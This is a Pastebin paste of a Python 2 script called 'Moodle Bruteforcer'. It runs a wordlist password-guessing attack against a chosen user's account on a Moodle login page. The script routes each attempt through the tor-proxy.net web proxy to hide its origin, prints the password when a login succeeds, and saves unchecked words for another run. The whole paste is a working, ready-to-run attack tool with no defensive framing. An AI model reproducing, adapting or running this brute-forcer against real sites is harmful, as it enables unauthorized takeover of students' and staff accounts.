LoscardosMandoza

Brute Force Moodle

Nov 3rd, 2016
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.11 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import urllib2, sys, re, urllib, time, getopt
  3. def interrupt():
  4. print "\n[EE] User intervention"
  5. sys.exit(1)
  6. def printopts():
  7. print """./moodle_bruteforcer [-n] <site> <user> <wordlist location>
  8. \t-n = Disable verbosity
  9.  
  10. <site> should be the login page of the site. Eg: http://www.example.com/login/index.php
  11. <user> should be the user name of the account you want to attack. Eg: cfoster
  12. <wordlist location> should be the *full* path to a wordlist file to attack with, with one word per line."""
  13. sys.exit(0)
  14. t1 = time.time()
  15. try: opts = getopt.getopt(sys.argv[1:],'n')
  16. except: printopts()
  17. if len(opts[1]) != 3: printopts()
  18. print """============================================================
  19. Moodle Bruteforcer
  20. Written by Stealth-
  21. http://www.stealth-x.com/programming/moodle-bruteforcer.php
  22. ============================================================
  23. """
  24. try:
  25. if opts[0][0][0] == "-n":
  26. print "[i] Disabling verbosity"
  27. verbose = 0
  28. except IndexError:
  29. print "[i] Enabling verbosity"
  30. verbose = 1
  31. try:
  32. wordlistloc = opts[1][2]
  33. user = opts[1][1]
  34. attackloc = opts[1][0]
  35. # count wordlist length for monitering purposes
  36. wordlist = open(wordlistloc)
  37. length = 0
  38. for word in wordlist:
  39. length+=1
  40. wordlist.close()
  41. # done
  42. wordlist = open(wordlistloc)
  43. if verbose:
  44. print "[i] Using wordlist: " + wordlistloc
  45. print "[i] Targeting user: " + user
  46. print "[i] Attacking site: " + attackloc
  47. except IOError: print "[EE] Error loading wordlist: " + wordlistloc; sys.exit(1)
  48. try:
  49. sys.stdout.write("[W] Initiating attack in 9")
  50. count = 9
  51. while count != 0:
  52. sys.stdout.flush()
  53. count-=1
  54. time.sleep(1)
  55. sys.stdout.write("\b" + str(count))
  56. sys.stdout.write("\bnow\n")
  57. found = 0
  58. count = 0
  59. curlength = 0
  60. deniedwords = []
  61. for word in wordlist:
  62. count+=1
  63. curlength+=1
  64. word = word.replace("\r","").replace("\n","")
  65. if verbose:
  66. sys.stdout.write("[A] Trying: " + word + "....")
  67. sys.stdout.flush()
  68. login_setup = [('username', user),('password', word)]
  69. login_data = urllib.urlencode(login_setup)
  70. opener = urllib2.build_opener()
  71. try:
  72. site = opener.open("https://tor-proxy.net/proxy/tor/browse.php?u=" + attackloc + "&b=2", login_data).read()
  73. except Exception, mesg:
  74. if verbose: sys.stdout.write(" failed.\n")
  75. print "[i] Connection Error: " + str(mesg)
  76. print "[i] Will try to continue"
  77. deniedwords.append(word)
  78. continue
  79. if re.search("You got here because there was something wrong with your request.",site): # This is tor-proxy.net saying invalid URL.
  80. if verbose: sys.stdout.write(" failed.\n")
  81. print "[EE] Tor-proxy.net reported a error. If you are seeing this message repeatedly, make sure your site address is in this format: http://www.example.net."
  82. # tor-proxy.net randomly gets errors sometimes. So we will append this word to a list that will be dropped into a file at the end, if no correct password has been already found
  83. deniedwords.append(word)
  84. continue
  85. if re.search("Invalid login, please try again",site):
  86. if verbose:
  87. sys.stdout.write(" failed.")
  88. if count > 10:
  89. sys.stdout.write(" [" + str(curlength) + "/" + str(length) + " ("+ str(100 * curlength/length) + "%)]\n")
  90. count = 0
  91. else: sys.stdout.write("\n")
  92. else:
  93. if verbose:
  94. sys.stdout.write(" success!\n")
  95. sys.stdout.flush()
  96. print "[i] Successful login password found: " + word
  97. found = 1
  98. break
  99. except KeyboardInterrupt: interrupt()
  100. except EOFError: interrupt()
  101. wordlist.close()
  102. if not found:
  103. print "[i] Reached end of wordlist"
  104. lens = len(deniedwords)
  105. if lens != 0:
  106. print "[i] There are " + str(lens) + " words that did not get checked due to tor-proxy.net failures."
  107. print "[i] They are being dropped into the 'drop.txt' file"
  108. print "[i] So you may wish to run moodle_bruteforcer again with drop.txt as the wordlist"
  109. drop = open("drop.txt","w")
  110. for word in deniedwords:
  111. drop.write(word)
  112. drop.close()
  113. print "[i] The bruteforcing process took " + str(time.time()-t1) + " seconds and " + str(curlength) + " attempts."
  114. print "[X] Moodle Bruteforcer is now exiting."
  115. sys.exit(0)
Add Comment
Please, Sign In to add comment